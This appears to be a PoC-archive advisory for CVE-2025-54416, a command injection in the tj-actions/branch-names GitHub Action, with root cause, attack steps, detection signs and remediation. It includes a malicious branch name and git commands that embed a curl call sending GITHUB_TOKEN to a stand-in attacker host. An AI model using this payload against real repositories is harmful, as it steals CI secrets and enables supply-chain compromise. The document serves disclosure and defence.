PoC Archive PoC Archive
Critical CVE-2025-54416 patched

tj-actions/branch-names GitHub Actions Command Injection (CVE-2025-54416)

by DeAngelo Monette (HexborneStudio) · 2026-07-06

CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-54416
Category
cloud
Affected product
tj-actions/branch-names GitHub Action
Affected versions
<= v8.2.1 (per GitHub Advisory GHSA-gq52-6phf-x2r6)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherDeAngelo Monette (HexborneStudio)
CVE / AdvisoryCVE-2025-54416
Categorycloud
SeverityCritical
CVSS Score9.1 (per NVD)
StatusPoC
Tagsgithub-actions, ci-cd, command-injection, supply-chain, tj-actions, branch-names, secrets-exfiltration, shell-injection
RelatedN/A

Affected Target

FieldValue
Software / Systemtj-actions/branch-names GitHub Action
Versions Affected<= v8.2.1 (per GitHub Advisory GHSA-gq52-6phf-x2r6)
Language / PlatformBash / GitHub Actions (Node-based composite action), any workflow consuming its outputs
Authentication RequiredNo (attacker only needs push/branch-create access, or a PR from a fork depending on workflow trigger)
Network Access RequiredNo — attack executes inside the CI runner via workflow triggers

Summary

CVE-2025-54416 is a command injection vulnerability in tj-actions/branch-names, a popular GitHub Action used to extract branch/tag names into workflow outputs, affecting over 5,000 public repositories. The root cause is the action’s internal use of eval printf "%s" "$BASE_REF" to emit the branch name to $GITHUB_OUTPUT, which reintroduces shell evaluation of attacker-controlled input even though a previous fix had attempted to sanitize it. An attacker who can create a branch (or otherwise control the ref name reaching the action, e.g. via a PR) can name it with an embedded $(...) command substitution; when a downstream workflow step interpolates the action’s current_branch output into a shell run: block, the substitution executes with the CI runner’s privileges. This PoC repository ships a complete, runnable GitHub Actions workflow (.github/workflows/vulnerable-demo.yml) that reproduces the vulnerable pattern end-to-end, showing secrets such as GITHUB_TOKEN and AWS credentials being reachable for exfiltration.


Vulnerability Details

Root Cause

The vulnerable version of tj-actions/branch-names computes its current_branch output using:

1
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

eval forces a second round of shell parsing over attacker-controlled ref text. Any $( ) or backtick command substitution embedded in the branch name is executed by the runner’s shell at this point, and the actual output value written to $GITHUB_OUTPUT (and thus exposed to later ${{ steps.*.outputs.* }} expressions) still carries an unsanitized/undefined value.

Attack Vector

  1. Attacker creates a branch with a malicious name containing a command substitution, e.g. main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN).
  2. A victim repository’s workflow (see vulnerable-demo.yml in this folder) checks out the repo and calls tj-actions/branch-names@v8.2.1 to resolve the branch name into steps.branch-name.outputs.current_branch.
  3. A later run: step interpolates that output directly into a shell command, e.g.:
    1
    
    echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}" >> $GITHUB_ENV
    
    Because the interpolation happens via GitHub Actions’ template expansion before the shell ever runs, the attacker’s $( ) payload is dropped into the shell script verbatim.
  4. The runner’s shell evaluates the embedded command substitution, executing arbitrary commands (e.g. exfiltrating $GITHUB_TOKEN) with the CI job’s permissions.
  5. Because secrets (GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, registry credentials, etc.) are typically exposed to later steps in the same job, a single malicious branch name can lead to full secret theft and, in deploy jobs, unauthorized image pushes or cloud deployments.

Impact

  • Theft of CI/CD secrets: GITHUB_TOKEN, AWS keys, container registry credentials.
  • Arbitrary command execution in the CI runner context.
  • Unauthorized artifact/image pushes to production registries.
  • Downstream supply-chain compromise of any consumer of the built artifacts.

Environment / Lab Setup

Target:      Any GitHub repository workflow using tj-actions/branch-names <= v8.2.1
              whose output is later interpolated into a shell run: step
Attacker:    GitHub account able to push a branch (or open a PR, depending on trigger)
Tools:       None beyond a git client and a GitHub repository with Actions enabled

Proof of Concept

PoC Script

See .github/workflows/vulnerable-demo.yml in this folder — a complete, runnable GitHub Actions workflow reproducing the vulnerable build/deploy job pair.

1
2
3
4
5
6
git clone <TARGET_REPO_URL>
cd <TARGET_REPO_URL>

git checkout -b 'main$(curl https://attacker.example.com/exfil?secret=$GITHUB_TOKEN)'

git push origin HEAD

Detection & Indicators of Compromise

Signs of compromise:

  • Workflow run logs show unexpected curl/wget/nc invocations not present in the workflow source.
  • Unrecognized outbound network calls from the runner correlating with a tj-actions/branch-names step.
  • Rotated/invalidated secrets shortly after a workflow run from an unfamiliar branch name.
  • Branches or PRs with unusually crafted names containing $(...) or backticks.

Remediation

ActionDetail
Primary fixUpgrade to tj-actions/branch-names@v9 or later, which replaces eval printf "%s" with a safe, non-evaluating printf call.
Interim mitigationPin the action to a commit SHA of a patched release; avoid interpolating any action output directly into run: shell blocks — pass values via environment variables (env:) instead of ${{ }} template expansion inside scripts; restrict workflow permissions with least-privilege permissions: blocks and avoid exposing cloud credentials to jobs that consume untrusted branch names.

References


Notes

Mirrored from https://github.com/HexborneStudio/atlas-tj-actions-poc on 2026-07-06. The repository contains a single, complete GitHub Actions workflow (.github/workflows/vulnerable-demo.yml) reproducing both the build and deploy jobs’ vulnerable patterns, rather than a standalone script — it is intended to be dropped into a test repository and triggered via a malicious branch name.